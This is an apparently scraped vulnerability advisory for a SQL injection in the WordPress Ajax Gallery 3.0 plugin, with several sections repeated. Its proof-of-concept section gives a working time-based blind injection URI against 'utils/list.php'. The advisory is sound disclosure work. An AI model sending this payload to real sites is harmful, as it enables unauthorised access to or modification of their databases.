WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
BID:49233
Info
WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
| Bugtraq ID: | 49233 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2011 12:00AM |
| Updated: | Aug 18 2011 12:00AM |
| Credit: | Miroslav Stampar |
| Vulnerable: |
WordPress Ajax Gallery 3.0 |
| Not Vulnerable: | |
Discussion
WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
WP Ajax Gallery plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
WP Ajax Gallery 3.0 is vulnerable; other versions may also be affected.
WP Ajax Gallery plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
WP Ajax Gallery 3.0 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/ajaxgallery/utils/list.php?delete=1&gId=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
Solution / Fix
WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress Ajax Gallery Plugin 'ajaxgallery/utils/list.php' SQL Injection Vulnerability
References:
References:
- WordPress Ajax Gallery plugin <= 3.0 SQL Injection Vulnerability (WordPress)
- WordPress Homepage (WordPress)